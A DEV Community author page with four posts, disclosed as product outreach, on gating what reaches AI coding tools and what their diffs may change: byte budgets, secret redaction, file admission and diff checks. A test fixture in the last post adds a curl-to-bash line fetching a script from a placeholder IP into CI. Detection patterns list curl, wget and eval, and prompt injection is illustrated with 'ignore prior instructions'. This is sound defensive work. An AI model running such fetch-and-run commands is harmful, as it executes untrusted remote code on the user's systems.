DEV Community: jaryn

A Free Allowance Is Not a License to Paste: Budget the Bytes Before They Reach the Model

jaryn — Mon, 09 Nov 2026 20:28:33 +0000

Illustrative scenario (constructed for this article, not an incident report). A platform team plans a single request to a free coding assistant: "why does the parser return null on empty input?" The plan attaches src/parser/**, the full logs/ directory from a staging run, and config/. Someone measures it before sending. The question is 14 words; the attachment set is 1,900 files. Nothing in the request is malicious. Nothing in it is minimal either.

That gap is the topic. Cheap or free token allowances change developer behavior before they change any security control. When context feels free, the natural workflow becomes "attach the repo," and a narrow debugging question quietly turns into a full source export across a boundary you do not own.

This post is about the control that gap needs: a declared byte ceiling, checked before the run, that fails closed — not another ignore file.

Where the boundary actually sits

A free-tier agent run is not one hop. It is a chain, and each hop has a different owner and a different answer to "what happens to this after the run?"

Hop	What it can see	What you control	Typical failure
Your editor / local agent	Everything you attach	Attachment selection	Over-selection by convenience
Free server option	The working copy on that machine	What gets cloned or uploaded	Secrets committed to the repo get carried along
Model endpoint	The assembled prompt per turn	Prompt size and content	Retries and tool loops multiply sends
Logs on any of the above	Request metadata, sometimes bodies	Verbosity settings, if exposed	Debug mode writes payloads to disk

Two consequences follow. First, "I only sent one file" can be false even when you attached one file — the agent reads more. Second, bytes, not files, is the unit that matters, because a tool-using run re-sends context on every turn.

Step 1 — Declare a ceiling before you look at the prompt

A budget set after you see the prompt is a rationalization. Set it from the task class instead: a bug triage question should not cost the same bytes as a migration review.

# context-budget.yaml — illustrative policy, adjust ceilings to your repo
task: triage-null-parser
ceiling:
  bytes_out: 200000
  files: 12
  classes:
    source: 150000
    logs: 20000
    config: 5000
deny:
  - "**/.env*"
  - "**/*.pem"
  - "**/secrets/**"
  - "**/fixtures/customer/**"
  - "**/vendor/**"
require_human_signoff: true

The ceilings are the only numbers here you must justify. Pick them by taking your last three honest debugging sessions, recording bytes sent, and setting the ceiling near the median — not the maximum. A ceiling that never fires is decoration.

Step 2 — Measure the plan, not the transcript

You cannot budget what you assemble on the fly, so budget a plan file: one path per line, committed next to the task. The checker below is illustrative and has not been executed against a real workspace; treat it as a starting point to adapt and test.

#!/usr/bin/env python3
# ILLUSTRATIVE / UNEXECUTED. Adapt paths and markers before trusting it.
import fnmatch, json, pathlib, sys

MARKERS = (b"-----BEGIN", b"AKIA", b"ghp_", b"xoxb-")

def classify(rel: str) -> str:
    if rel.startswith("logs/"):
        return "logs"
    if rel.startswith("config/"):
        return "config"
    return "source"

def main(plan_path: str, policy_path: str) -> int:
    policy = json.loads(pathlib.Path(policy_path).read_text())
    plan = [p.strip() for p in pathlib.Path(plan_path).read_text().splitlines() if p.strip()]
    ceiling = policy["ceiling"]
    out = {"files": 0, "bytes_out": 0, "classes": {}, "denied": [], "markers": []}

    for rel in plan:
        if any(fnmatch.fnmatch(rel, g) for g in policy["deny"]):
            out["denied"].append(rel)
            continue
        p = pathlib.Path(rel)
        if not p.is_file():
            out["denied"].append(rel + " (missing)")
            continue
        blob = p.read_bytes()
        out["files"] += 1
        out["bytes_out"] += len(blob)
        cls = classify(rel)
        out["classes"][cls] = out["classes"].get(cls, 0) + len(blob)
        if any(m in blob for m in MARKERS):
            out["markers"].append(rel)

    print(json.dumps(out, indent=2))
    if out["denied"] or out["markers"]:
        return 3
    if out["bytes_out"] > ceiling["bytes_out"] or out["files"] > ceiling["files"]:
        return 2
    for cls, limit in ceiling["classes"].items():
        if out["classes"].get(cls, 0) > limit:
            return 2
    return 0

if __name__ == "__main__":
    sys.exit(main(sys.argv[1], sys.argv[2]))

Three exit codes, three meanings: 0 allow, 2 over budget, 3 denied path or credential-shaped marker found. Fail closed in the wrapper so only 0 proceeds:

# illustrative CI step
python3 context_budget.py plan.txt policy.json || exit 1

Step 3 — Test the budget the way you test code

A budget checker that has never blocked anything is untested. Build fixtures and assert on exit codes, not on console text.

Fixture	Setup	Expected
Positive	6 small source files, 40 KB total	exit `0`, `bytes_out` ≈ 40960
Over-budget	one 300 KB generated file	exit `2`, `bytes_out` > ceiling
Denied path	plan line `config/.env.local`	exit `3`, listed under `denied`
Marker	public test fixture containing `-----BEGIN`	exit `3`
Known gap	PEM renamed to `notes.txt`	passes the glob, is caught only if a marker is present

The last row is the honest one. Globs and markers are tripwires, not classification. A certificate in a format your marker list does not cover will pass. Test that case, then decide whether the residual risk is acceptable or needs a second, independent check.

Step 4 — Budget per run, not per prompt

Here the plan receipt stops being sufficient. Multi-turn tool use re-sends accumulated context, and one retry doubles a turn. A 200 KB plan can become well over a megabyte of bytes sent across a session. Instrument the wrapper that actually transmits, and total bytes for the whole run:

# ILLUSTRATIVE sketch — count at the transport boundary, not at the plan
run = {"turns": 0, "bytes_sent": 0}

def send(messages):
    payload = encode(messages)           # your client's real serializer
    run["turns"] += 1
    run["bytes_sent"] += len(payload)
    if run["bytes_sent"] > RUN_CEILING:  # separate, larger ceiling
        raise BudgetExceeded(run)
    return transport.post(payload)

Two ceilings, two jobs. The plan ceiling stops a bad request from being drafted. The run ceiling stops a correct request from being repeated forty times.

What not to send, regardless of budget

Category	Why a ceiling will not save you
Credentials, keys, tokens	Size is negligible; exposure is total
Customer fixtures and support exports	Third-party data you may not be permitted to transfer
Production data dumps	Even one row can be a regulated record
License-restricted vendor code	The boundary is contractual, not technical
Unreviewed contracts or HR files	They end up in a repo because someone used `git add .`

The free model access and free server option on an open-source platform like MonkeyCode (open-source per the project; the operator states a 10,000,000-token free allowance at the time of writing — confirm current terms yourself before planning around the number) make the first four rows easier to violate, because the cost signal that used to make you trim context is gone. Disabling a cost signal is a security change whether or not anyone calls it one.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

Prevent, detect, recover

Layer	Control	Evidence it works
Prevent	Ceiling declared per task class; deny globs; exit codes gate transmission	Fixture table above asserts `0/2/3`
Detect	Per-run byte counter at the transport boundary; receipts compared against plan	Turn count and `bytes_sent` recorded per run
Recover	Rotate anything that crossed; re-scope the task; re-run with a lower ceiling	Rotation ticket linked from the receipt

Recovery has one question you should ask rather than assume: what does the free tier retain, and for how long? If the answer is not documented where you can cite it, treat the data as retained and rotate accordingly. Do not put an assumption about retention into your threat model.

Limitations, and who should skip this

The checker measures a plan, not the agent's real reads. An agent that opens files on its own can exceed the plan without touching it.
Byte ceilings are a volume control. They do not classify sensitivity — a 2 KB key file passes every ceiling.
Solo prototypes, throwaway repos, and public OSS with no secrets get little from this. The cost is a policy file and a CI step you must maintain.
Regulated workloads need a documented data-flow review, not a shell script with exit codes.

The boundary question

A ceiling is only real if something refuses to proceed when it is crossed. So: should the byte budget live in CI as a hard gate on every agent-launched task, or at the wrapper that owns the transport, where it can also count retries? Pick one owner — if both enforce it, you will eventually debug which one lied. If you run this against the free server, the useful report is which exit code fired first and which file pushed you over.

Classify the Field, Not the File: A Redaction Gate for Free Model Tiers

jaryn — Sun, 08 Nov 2026 19:11:10 +0000

Here is a request body I keep finding in agent logs. Nothing exotic — a stack trace, a config dump, a database URL with the password still attached:

{"role":"user","content":"Why does this fail? postgres://app:hunter2@10.0.0.5:5432/prod — timeout after 30s"}

Every file in that repo passed review. The leak did not come from a file. It came from a field — one string inside a payload that nobody classified. So the invariant I want to enforce is narrow and testable: no outbound string containing a credential-shaped value leaves the machine, even when the file it came from is allowed to leave.

Can a gate do that without turning your context into useless mush?

The trust boundaries I actually care about

When you point an agent at a free model tier and a free server, four boundaries matter more than the marketing page:

Repo → agent. Untrusted content (READMEs, dependency docs, issue text) becomes instructions.
Agent → request body. Trusted-ish files get serialized, and serialization flattens classification. A .env reader and a README reader produce the same JSON field.
Request body → provider. Once it is sent, your retention story is the provider's, not yours.
Response → your shell. Completions are untrusted input the moment anything executes them.

This article only hardens boundary two, because it is the cheapest to test and the one most teams skip. Boundaries one and four need separate gates; I have written about those elsewhere and will not pretend this artifact covers them.

Step 1 — Enumerate egress channels before writing rules

Do not start with regex. Start with a list, because the channels differ in shape:

Chat/completion request bodies (your typed prompt).
Files attached or read by a tool and inlined verbatim.
Tool outputs: docker logs, env, stack traces, HTTP errors.
Filenames and paths inside those outputs.
Anything you paste into a review comment that a bot then forwards.

Channel 3 is where the DSN above came from. Channel 4 is the sneaky one: ~/.aws/prod-credentials as a path is already a disclosure.

Step 2 — Write rules for structure, not for vibes

Pattern rules catch things entropy cannot. Entropy catches things patterns miss. You need both, and you need to know which one is load-bearing.

# payload_gate.py
import hashlib, hmac, os, re
from math import log2

KEY = bytes.fromhex(os.environ["REDACT_KEY"])  # 32 bytes, never leaves the host

RULES = {
    "aws_key":     re.compile(r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b"),
    "conn_string": re.compile(r"\b(?:postgres|mysql|mongodb(?:\+srv)?|redis)://[^\s\"']+"),
    "bearer":      re.compile(r"\bBearer\s+[A-Za-z0-9._~+/\-]{20,}=*"),
    "private_key": re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----"),
    "jwt":         re.compile(r"\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}"),
}

TOKEN_RX = re.compile(r"[A-Za-z0-9_+/=\-]{24,}")
# git sha, sha256 digest, uuid: high-looking but not secret
SAFE_RX = re.compile(r"^(?:[0-9a-f]{40}|[0-9a-f]{64}|[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})$")

def entropy(s: str) -> float:
    if not s:
        return 0.0
    counts = {}
    for c in s:
        counts[c] = counts.get(c, 0) + 1
    return -sum((n / len(s)) * log2(n / len(s)) for n in counts.values())

def placeholder(kind: str, value: str) -> str:
    tag = hmac.new(KEY, value.encode(), hashlib.sha256).hexdigest()[:10]
    return f"[[redacted:{kind}:{tag}]]"

def scrub(text: str):
    hits, out = [], text
    for kind, rx in RULES.items():
        def _sub(m, kind=kind):
            hits.append({"rule": kind, "len": len(m.group(0))})
            return placeholder(kind, m.group(0))
        out = rx.sub(_sub, out)
    def _sub_entropy(m):
        tok = m.group(0)
        if SAFE_RX.match(tok) or entropy(tok) < 4.0:
            return tok
        hits.append({"rule": "high_entropy", "len": len(tok)})
        return placeholder("high_entropy", tok)
    return TOKEN_RX.sub(_sub_entropy, out), hits

Two design decisions are worth defending. First, placeholders are deterministic per value, so if the same secret appears five times the model still sees one consistent token and its reasoning does not collapse into five unrelated entities. Second, the mapping key is HMAC-local, which means you can map back for debugging while the log itself stores nothing reversible.

Step 3 — Fixtures, both directions

A redaction gate with only positive tests is a regex with a good publicist. You need to prove it does not fire on legitimate content, or your team will disable it in week two.

# test_payload_gate.py
import pytest
from payload_gate import scrub

MUST_REDACT = [
    ("key=AKIAIOSFODNN7EXAMPLE", "aws_key"),
    ("db=postgres://app:hunter2@10.0.0.5:5432/prod", "conn_string"),
    ("Authorization: Bearer abcdefghijklmnopqrstuvwxyz012345", "bearer"),
    ("hoA9sK2mQ8xZ1pL4vN7bT0rY3wE6uI5oP2aS", "high_entropy"),
]

MUST_PASS = [
    "commit 9f2c1b8a4d5e6f708192a3b4c5d6e7f809a1b2c3",
    "id 550e8400-e29b-41d4-a716-446655440000",
    "getUserBySessionId(null)",
]

@pytest.mark.parametrize("payload,rule", MUST_REDACT)
def test_redacts(payload, rule):
    out, hits = scrub(payload)
    assert rule in {h["rule"] for h in hits}, hits
    assert "hunter2" not in out
    assert "AKIAIOSFODNN7EXAMPLE" not in out

@pytest.mark.parametrize("payload", MUST_PASS)
def test_passes(payload):
    out, hits = scrub(payload)
    assert out == payload and hits == [], hits

def test_same_secret_same_token():
    a, _ = scrub("x=AKIAIOSFODNN7EXAMPLE")
    b, _ = scrub("y=AKIAIOSFODNN7EXAMPLE")
    assert a.split("=")[1] == b.split("=")[1]

Run it with REDACT_KEY=$(openssl rand -hex 32) pytest -q test_payload_gate.py. The expected evidence is 7 passed. If test_passes fails on your repo's real strings, fix the gate, not the fixture.

Step 4 — Put it in front of the socket, not in the prompt

A redaction step a developer can skip is not a control. Wrap the client:

def send(messages):
    clean, hits = [], []
    for m in messages:
        text, h = scrub(m["content"])
        clean.append({**m, "content": text}); hits += h
    ledger_append({"ts": time.time(), "hits": hits})  # counts only, no values
    return client.chat(messages=clean)  # endpoint from MODEL_BASE_URL

One caveat I will not paper over: this assumes a chat-completions-shaped request. Whether any given free tier accepts that shape, and what its limits are, has to come from that provider's current docs — I am not asserting a protocol for you.

Step 5 — The decision table your reviewer actually needs

Payload class	Example	Verdict
Source code identifier	`getUserBySessionId`	send
Commit hash, UUID	`9f2c1b8a…`	send
Stack trace	frames + line numbers	send after scrub
Connection string	`postgres://app:pw@…`	never; send host + error code only
`.env` file	`AWS_SECRET_ACCESS_KEY=`	block at file reader
Customer row (PII)	email + order id	pseudonymize per-field
Path containing tenant	`/srv/acme-prod/…`	replace with `/srv/<tenant>/`

Limitations, honestly

Hex-encoded keys cap at 4.0 bits per character, so the entropy pass will never catch them — that is why the pattern rules exist and why entropy is the fallback, not the primary. The gate also cannot see secrets split across fields, base64-encoded inside an image, or encoded in a variable name. It does not classify meaning; it classifies shape. And if you cannot hold REDACT_KEY on the host, the deterministic-placeholder design buys you nothing.

Who should skip this? Teams whose credentials never enter the repo (vault-only, short-lived tokens) get little from it. Teams needing compliance-grade DLP need a real classifier and a review trail, not 60 lines of Python.

Where to run it cheaply

You want a live endpoint to run Step 3 against, because fixture-only testing hides serialization bugs. Free tiers are useful here precisely because they are disposable: send scrubbed payloads, watch the ledger, throw the workspace away. The MonkeyCode project is one such option — it is open source, and its operator states that it offers free model access (a 10M-token allowance) plus a free server option; check the project page for the current terms rather than trusting a number in a blog post, mine included.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

So: which invariant belongs in your pre-send hook, and which one belongs in the provider's contract? My answer is that redaction is yours — you cannot audit a boundary you do not enforce — and retention is theirs, which is why you should write down what you assume before the first request goes out.

Which Files May Enter the Model Window? Build a Context Admission Gate

jaryn — Sat, 07 Nov 2026 17:50:25 +0000

Which Files May Enter the Model Window? Build a Context Admission Gate

Synthetic payload. Invented values. The shape is the problem.

{
  "endpoint": "<your model gateway>",
  "files": [".env", "src/app.py", "infra/terraform.tfstate"],
  "prompt": "why does staging fail to boot?"
}

Three files, one question, 41 KB on the wire. Nothing here is broken at the transport layer. TLS is fine, the token is scoped, the answer comes back in under a second. And yet the context assembler just handed a database password and an entire Terraform state file to an endpoint whose retention policy nobody on the team can name out loud.

How did it decide those files were in scope? It didn't. It globbed **/*, sorted by mtime, and stopped when the token budget ran out. That's not malicious. It's just a six-line function nobody reviewed, sitting on the most sensitive boundary in your stack.

So let's close that gap. Not "is the model trustworthy" — that's a different essay. The question here is narrower and answerable: what is allowed to reach the endpoint at all, and how do you prove it stays that way next Tuesday.

Disclosure: This article was prepared as part of MonkeyCode's product outreach. MonkeyCode is an open-source, self-hosted AI development platform. The operator states that it currently offers free model access alongside a free server option. Treat any quota number you see quoted — including the 10M-token free tier — as a claim to re-check on the project page the day you sign up, not as a capacity plan.

1. Name the boundaries before you write a single regex

Every rule below exists because of one row in this table. If a row isn't real for you, delete the rule — an unreviewable gate is worse than no gate, because it teaches people to bypass it.

Boundary	Asset at risk	Who can read it after crossing	Typical failure
Working tree → assembler	`.env`, keys, state files	any process in the sandbox	glob miss pulls a dotfile
Assembler → endpoint	the whole prompt	vendor, transit, request logs	over-broad context, long retention
Endpoint → response	nothing yet	you	repo content carries injected instructions
Assembler → local log	a copy of the prompt	anyone with disk access	secrets archived "for debugging"

Row two is the one people underestimate. You cannot un-send a prompt. Rotation is a recovery step, not a prevention step, and it's expensive at 2 a.m.

Here's the thing that changes with a free endpoint: the boundary doesn't move, but the stakes per mistake go up, because a free tier is where you experiment fastest and review least. Same rule, more exposure. Which is why the gate belongs in the assembler — client side — and not in a promise about the other end.

2. Classify files into four buckets, not two

Binary thinking ("secret" vs "fine") collapses immediately on real repos. Use four buckets instead:

Deny — credential-shaped paths and files. Never admitted, regardless of size or prompt.
Quarantine — content that might hold a high-entropy token. A human decides.
Admit — ordinary source, docs, tests, config without values.
Never read — binaries, lockfile blobs, vendored trees. Not a security call, a signal-to-noise call.

A file's path is a cheap, high-precision signal. A file's content is an expensive, low-precision one. Apply the path check first and you eliminate most of the risk before you've burned a millisecond on entropy math.

3. The gate: forty lines you can actually review

Below is a template, not an audited product. I have not run it against your repo, and it should be pinned and reviewed like any other code on a trust boundary.

# context_gate.py — TEMPLATE. Pin it, review it, test it.
from __future__ import annotations
import math, re, sys, json
from dataclasses import dataclass
from fnmatch import fnmatch
from pathlib import Path

@dataclass(frozen=True)
class Decision:
    path: str
    verdict: str   # "admit" | "quarantine" | "deny"
    reason: str

DENY_GLOBS = (
    ".env", ".env.*", "*.pem", "*.key", "*.p12", "*.pfx",
    "id_rsa*", "id_ed25519*", ".npmrc", ".pypirc", ".netrc",
    "*.tfstate", "*.tfstate.backup", "*kubeconfig*", "*.jks",
)
DENY_DIRS = {".git", "node_modules", ".venv", "secrets", "private"}

# Deliberately boring, high-precision patterns. No clever ones.
PATTERNS = {
    "cloud_key":    re.compile(r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b"),
    "private_key":  re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH |PGP )?PRIVATE KEY-----"),
    "bearer":       re.compile(r"\bBearer\s+[A-Za-z0-9._~+/=-]{20,}"),
    "jwt":          re.compile(r"\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b"),
    "email":        re.compile(r"\b[\w.+-]+@[\w-]+\.[\w.]{2,}\b"),
    "internal_host": re.compile(r"\b[a-z0-9-]+\.(?:internal|corp|local)\b"),
}

def shannon(s: str) -> float:
    if not s:
        return 0.0
    counts: dict[str, int] = {}
    for ch in s:
        counts[ch] = counts.get(ch, 0) + 1
    n = len(s)
    return -sum((c / n) * math.log2(c / n) for c in counts.values())

def entropy_hits(text: str, threshold: float = 4.2, min_len: int = 24, cap: int = 20) -> list[str]:
    hits: list[str] = []
    for tok in re.findall(r"[A-Za-z0-9+/=_-]{%d,}" % min_len, text):
        if shannon(tok) >= threshold:
            hits.append(tok)
            if len(hits) >= cap:
                break
    return hits

def classify(root: Path, rel: str, max_bytes: int = 256_000) -> Decision:
    p = root / rel
    parts = set(Path(rel).parts)
    if parts & DENY_DIRS:
        return Decision(rel, "deny", f"denied dir: {sorted(parts & DENY_DIRS)}")
    for g in DENY_GLOBS:
        if fnmatch(p.name, g) or fnmatch(rel, g):
            return Decision(rel, "deny", f"deny glob: {g}")
    try:
        if p.stat().st_size > max_bytes:
            return Decision(rel, "deny", "oversize for context budget")
        text = p.read_text(encoding="utf-8", errors="strict")
    except (OSError, UnicodeDecodeError):
        return Decision(rel, "deny", "unreadable or binary")
    for name, rx in PATTERNS.items():
        if rx.search(text):
            return Decision(rel, "deny", f"pattern: {name}")
    if entropy_hits(text):
        return Decision(rel, "quarantine", "high-entropy token candidates")
    return Decision(rel, "admit", "no rule matched")

if __name__ == "__main__":
    root = Path(sys.argv[1]).resolve()
    decisions = [
        classify(root, str(f.relative_to(root)))
        for f in sorted(root.rglob("*")) if f.is_file()
    ]
    print(json.dumps([d.__dict__ for d in decisions], indent=2))
    sys.exit(0 if all(d.verdict == "admit" for d in decisions) else 2)

Run it in report mode first:

python context_gate.py . | jq -r '.[] | [.verdict, .path, .reason] | @tsv' | sort | head -50

Exit code 2 means "something needs a human", which is what you want a CI job to see. Exit code 0 means the tree is admissible as-is.

4. Fixtures: positive and negative, asserting on the reason

A test that only checks verdict == "deny" will happily pass when your path join is broken. Assert the reason — that's the failure evidence.

# test_context_gate.py — synthetic values only
from pathlib import Path
from context_gate import classify

def write(root: Path, name: str, body: str) -> None:
    p = root / name
    p.parent.mkdir(parents=True, exist_ok=True)
    p.write_text(body, encoding="utf-8")

def test_env_is_denied_by_path(tmp_path: Path) -> None:
    write(tmp_path, ".env", "DB_PASSWORD=synthetic-not-real\n")
    d = classify(tmp_path, ".env")
    assert d.verdict == "deny"
    assert d.reason.startswith("deny glob"), d.reason

def test_terraform_state_is_denied_by_path(tmp_path: Path) -> None:
    write(tmp_path, "infra/terraform.tfstate", '{"resources": []}')
    d = classify(tmp_path, "infra/terraform.tfstate")
    assert d.verdict == "deny"
    assert "tfstate" in d.reason

def test_key_block_is_denied_by_content(tmp_path: Path) -> None:
    write(tmp_path, "src/notes.txt", "-----BEGIN PRIVATE KEY-----\nsynthetic\n-----END PRIVATE KEY-----")
    d = classify(tmp_path, "src/notes.txt")
    assert d.verdict == "deny"
    assert d.reason == "pattern: private_key"

def test_entropy_token_is_quarantined(tmp_path: Path) -> None:
    write(tmp_path, "src/cfg.py", 'TOKEN = "Zx9Qm2Lp7Rt4Vb8Nw1Kc6Yh3J"\n')
    d = classify(tmp_path, "src/cfg.py")
    assert d.verdict == "quarantine", d.reason

def test_plain_source_is_admitted(tmp_path: Path) -> None:
    write(tmp_path, "src/app.py", "def boot(port: int) -> None:\n    print(port)\n")
    d = classify(tmp_path, "src/app.py")
    assert d.verdict == "admit", d.reason

def test_binary_is_denied(tmp_path: Path) -> None:
    (tmp_path / "logo.png").write_bytes(b"\x89PNG\r\n\x1a\n\x00\xff")
    d = classify(tmp_path, "logo.png")
    assert d.verdict == "deny"
    assert d.reason == "unreadable or binary"

Run it: python -m pytest test_context_gate.py -q. Six tests, six boundaries, no network required. That's the whole point — the fixture is the regression test, and it never talks to an endpoint.

5. Baseline before you enforce

Do not flip the gate to blocking on day one. You'll drown in false positives and someone will disable it by Friday. Instead:

Run report mode across the repo, twice: once on main, once on your messiest feature branch.
Count quarantine hits per 100 files. A large number usually means one generated directory you forgot to exclude.
Add path-level excludes for generated trees until the count is dominated by genuine review items.
Only then make exit code 2 block the assembler.

I care much less about the threshold you pick than about the fact that you looked at the list before enforcing it.

6. Prevent, detect, recover — three different jobs

Layer	Mechanism	What it actually buys you
Prevent	path deny globs + content patterns in the assembler	the common secrets never leave
Detect	quarantine list reviewed before send; CI exit code 2	you learn your repo's real shape
Recover	rotate the credential, purge the artifact, fix the glob	bounded damage when a rule misses

The gate is a prevent-and-detect tool. It is not a recovery plan, and it will never be one. If a credential crossed the boundary, the only correct next step is rotation — the gate's job is to make that step rarer, not to make it unnecessary.

7. What this does not do, and who shouldn't bother

Let me be blunt about the limits, because a security post without limits is marketing:

It doesn't stop prompt injection. A README that says "ignore prior instructions" passes every rule above if it's plain text. This gate governs egress of data, not control of behavior.
Entropy scanning has both false positives and false negatives. Minified JS, lockfile hashes, and base64 assets will trip it. A 24-character secret with an English word in it may not.
It can't stop inference. If admitted source reveals the shape of your auth check, the model can describe it. Admission is not a NDA.
It's client-side. Anyone running a different assembler bypasses it entirely. Pair it with a gateway policy or it's a habit, not a control.

Who should skip this? Solo prototypes with no customer data and no credentials in the tree — the cost of the gate exceeds the risk. Teams that legitimately need to send whole repos for analysis — write the exception list first, or you'll create a permanent bypass. And anyone who won't run the baseline: an unreviewed blocklist is just a future incident with extra steps.

Where this fits in a trial

If you're evaluating a self-hosted platform — MonkeyCode included — the gate is a two-line integration: call classify() in the assembler, refuse on deny, queue on quarantine. It works the same against a free endpoint, a paid one, or a local model, which is exactly the property you want from a boundary rule. Run it in report mode on your first day and read the list before your second.

So: which invariant belongs in the gate, and which one belongs in the repository's own CI? My answer, for what it's worth — path rules in the assembler, content rules in CI, and rotation in neither, because rotation is a human procedure and pretending otherwise is how teams end up with a green checkmark and a leaked key.

Your Pre-Commit Hooks Don't Exist on the Free Server — Gate the Model's Diff Instead

jaryn — Fri, 06 Nov 2026 16:27:05 +0000

Here is a sequence you can reproduce in about ten minutes. I'm describing a workflow, not an incident report — but the failure is real and it is boring, which is what makes it dangerous.

You point an agent at a remote workspace. You hand it a task. It reads three files, sends them to a model endpoint, gets a diff back, and applies it. The diff touches .github/workflows/test.yml and adds a curl … | bash line to the CI job.

Your laptop never saw it. Your pre-commit hook never ran. Why would it? The commit happened on a host you don't control, in a workspace whose shell you did not configure.

That is the trust boundary nobody draws.

The boundary most teams skip

Every "is this agent safe?" conversation I see focuses on what leaves. Secrets in prompts, logs at the vendor, pasted .env files. All fair. But the free-tier workflow has a second arrow, and it points inward: the model's reply becomes code that runs on a machine holding your repository.

I use MonkeyCode's free model access and free server option for exactly this kind of exercise, because it puts the workspace somewhere other than my laptop — which is the whole point. Disclosure: This article was prepared as part of MonkeyCode's product outreach. Their team states a free allowance of 10 million tokens plus a free server tier; I'm taking those as operator-supplied availability claims and not benchmarking them here.

Here's the uncomfortable part. A remote workspace makes outbound review feel urgent and inbound review feel optional. It's backwards.

Four boundaries, three of which you own

Boundary	What crosses	Who can read it	Covered by this post?
Laptop → workspace	repo files, possibly `.env`	you, the workspace host	partly
Workspace → model endpoint	file excerpts, task text	the model provider	no — see an outbound classifier
Model reply → workspace	diffs, shell commands	nobody, until it executes	yes
Workspace → your ledger	verdicts, hashes	you	yes

Row three is where I'd put money. Row four is how you find out row three fired at 02:14 instead of 09:40.

Step 1 — Decide what a diff is allowed to touch

Write the policy first. If you start with the parser you'll end up with rules that happen to match your parser, which is not the same thing as a boundary.

{
  "allow_prefixes": ["src/", "tests/", "docs/"],
  "deny_globs": [".github/**", "Dockerfile", "docker-compose*.yml",
                 "Makefile", "*.pem", "*.env", "tools/gate/*"],
  "max_added_lines": 400,
  "forbidden_patterns": [
    "subprocess\\.(run|call|Popen)\\([^)]*shell\\s*=\\s*True",
    "os\\.system\\(",
    "eval\\(",
    "exec\\(",
    "curl\\s+http",
    "wget\\s+http"
  ],
  "require_test_for": ["src/"],
  "forbid_exec_mode": true
}

Two rules earn their place immediately. tools/gate/* is in deny_globs so the agent cannot rewrite its own gate — obvious, and skipped by roughly every wrapper script I've read. And require_test_for means a change to src/ needs a sibling change under tests/, which turns "looks fine" into a checkable predicate.

Is max_added_lines: 400 arbitrary? Yes. Pick your own number from your actual review capacity, not from a blog post. Mine.

Step 2 — Parse the diff without dependencies

No PyYAML, no GitPython, no parser library you'll have to pin. A unified diff is a line format; treat it as one.

#!/usr/bin/env python3
"""modeldiff_gate.py — reject model-produced diffs that cross a boundary you never drew.

Usage:
  python3 modeldiff_gate.py /tmp/candidate.diff --rules gate-rules.json --ledger gate.jsonl
Exit codes: 0 = allow, 1 = policy violation, 2 = unparsable diff
"""
import fnmatch
import hashlib
import json
import re
import sys
import time
from pathlib import Path

FILE_HDR = re.compile(r"^diff --git a/(\S+) b/(\S+)$")
NEW_MODE = re.compile(r"^new file mode (\d+)$")


def parse(text):
    files, cur = [], None
    for raw in text.splitlines():
        m = FILE_HDR.match(raw)
        if m:
            cur = {"old": m.group(1), "new": m.group(2),
                   "mode": None, "added": [], "removed": 0}
            files.append(cur)
            continue
        if cur is None:
            continue
        nm = NEW_MODE.match(raw)
        if nm:
            cur["mode"] = nm.group(1)
            continue
        if raw.startswith("+++") or raw.startswith("---"):
            continue
        if raw.startswith("+"):
            cur["added"].append(raw[1:])
        elif raw.startswith("-"):
            cur["removed"] += 1
    return files


def evaluate(files, rules):
    hits = []
    for f in files:
        path = f["new"]
        if not any(path.startswith(p) for p in rules["allow_prefixes"]):
            hits.append({"file": path, "rule": "allow_prefixes", "detail": "outside allowlist"})
        for g in rules["deny_globs"]:
            if fnmatch.fnmatch(path, g):
                hits.append({"file": path, "rule": "deny_globs", "detail": g})
        if rules.get("forbid_exec_mode") and f["mode"] and int(f["mode"], 8) & 0o111:
            hits.append({"file": path, "rule": "forbid_exec_mode", "detail": f["mode"]})
        for i, line in enumerate(f["added"]):
            for pat in rules["forbidden_patterns"]:
                if re.search(pat, line):
                    hits.append({"file": path, "rule": "forbidden_patterns",
                                 "detail": pat, "line": i})
    total = sum(len(f["added"]) for f in files)
    if total > rules["max_added_lines"]:
        hits.append({"file": "*", "rule": "max_added_lines", "detail": str(total)})
    for p in rules.get("require_test_for", []):
        if any(f["new"].startswith(p) for f in files) and not any(
            f["new"].startswith("tests/") for f in files
        ):
            hits.append({"file": p, "rule": "require_test_for", "detail": "no tests/ change"})
    return hits


def main(argv):
    diff_path = Path(argv[1])
    rules_path = Path(argv[argv.index("--rules") + 1])
    ledger = Path(argv[argv.index("--ledger") + 1])
    text = diff_path.read_text(encoding="utf-8", errors="replace")
    files = parse(text)
    if not files:
        print(json.dumps({"decision": "error", "reason": "no file headers"}))
        return 2
    rules = json.loads(rules_path.read_text())
    hits = evaluate(files, rules)
    record = {
        "ts": int(time.time()),
        "decision": "block" if hits else "allow",
        "diff_sha256": hashlib.sha256(text.encode()).hexdigest(),
        "files": [f["new"] for f in files],
        "violations": hits,
    }
    with ledger.open("a", encoding="utf-8") as fh:
        fh.write(json.dumps(record) + "\n")
    print(json.dumps(record))
    return 1 if hits else 0


if __name__ == "__main__":
    sys.exit(main(sys.argv))

One deliberate omission: the ledger records diff_sha256, paths, and rule names — never the added lines. If you log the payload, the gate becomes a new place for the same secret to leak. Log the verdict, not the content.

Step 3 — Build one failing fixture and one passing fixture

fixtures/fail_ci_edit.diff:

diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -8,3 +8,5 @@ jobs:
   test:
     steps:
       - run: pytest
+      - run: curl http://198.51.100.9/x.sh | bash

fixtures/pass_add_test.diff:

diff --git a/src/normalize.py b/src/normalize.py
--- a/src/normalize.py
+++ b/src/normalize.py
@@ -1,2 +1,4 @@
 def normalize(v):
-    return v
+    if v is None:
+        return ""
+    return v.strip()
diff --git a/tests/test_normalize.py b/tests/test_normalize.py
new file mode 100644
--- /dev/null
+++ b/tests/test_normalize.py
@@ -0,0 +1,3 @@
+from src.normalize import normalize
+def test_none():
+    assert normalize(None) == ""

